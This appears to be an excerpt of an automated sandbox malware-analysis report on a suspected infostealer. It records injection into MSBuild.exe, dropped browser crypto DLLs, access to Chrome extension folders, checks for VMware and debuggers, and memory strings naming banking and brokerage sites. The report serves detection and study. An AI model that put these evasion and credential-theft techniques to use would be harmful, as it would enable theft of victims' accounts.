Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-90991

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	API coverage: 4.2 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 5.6 %
Source: C:\Users\userCAFIEBKKJJ.exe	API coverage: 4.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7476	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7484	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E39ABF FindFirstFileExW,	0_2_00E39ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040DE10
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A79ABF FindFirstFileExW,	11_2_00A79ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00401160 GetSystemInfo,ExitProcess,

1_2_00401160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: CAFIEBKK.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: CAFIEBKK.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: CAFIEBKK.1.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: CAFIEBKK.1.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CAFIEBKK.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: CAFIEBKK.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: MSBuild.exe, 00000001.00000002.1804495341.00000000012B7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503327646.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000001.00000002.1804495341.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Cn
Source: CAFIEBKK.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: CAFIEBKK.1.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: CAFIEBKK.1.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: CAFIEBKK.1.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: CAFIEBKK.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: CAFIEBKK.1.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: CAFIEBKK.1.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CAFIEBKK.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: CAFIEBKK.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: CAFIEBKK.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: CAFIEBKK.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: CAFIEBKK.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: CAFIEBKK.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: CAFIEBKK.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CAFIEBKK.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: MSBuild.exe, 00000001.00000002.1804495341.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: CAFIEBKK.1.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: CAFIEBKK.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: CAFIEBKK.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: CAFIEBKK.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-90990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-92154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-90998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-90976
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-90979
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-90814
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-91019

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_00445BB0 LdrInitializeThunk,

12_2_00445BB0

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe

Code function: 0_2_00E27922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00E27922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

1_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00419860

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E22003 mov edi, dword ptr fs:[00000030h]	0_2_00E22003
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E3A64C mov eax, dword ptr fs:[00000030h]	0_2_00E3A64C
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E66628 mov eax, dword ptr fs:[00000030h]	0_2_00E66628
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E30F2E mov ecx, dword ptr fs:[00000030h]	0_2_00E30F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00419750 mov eax, dword ptr fs:[00000030h]	1_2_00419750
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A62003 mov edi, dword ptr fs:[00000030h]	11_2_00A62003
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A7A64C mov eax, dword ptr fs:[00000030h]	11_2_00A7A64C
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A70F2E mov ecx, dword ptr fs:[00000030h]	11_2_00A70F2E

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe

Code function: 0_2_00E3CC4B GetProcessHeap,

0_2_00E3CC4B

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E27610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00E27610
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E27922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00E27922
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E27AAF SetUnhandledExceptionFilter,	0_2_00E27AAF
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E2DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00E2DA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041CEEA SetUnhandledExceptionFilter,	1_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6C51B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C51B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C6CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C6CAC62
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A67610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00A67610
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A67922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00A67922
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A67AAF SetUnhandledExceptionFilter,	11_2_00A67AAF
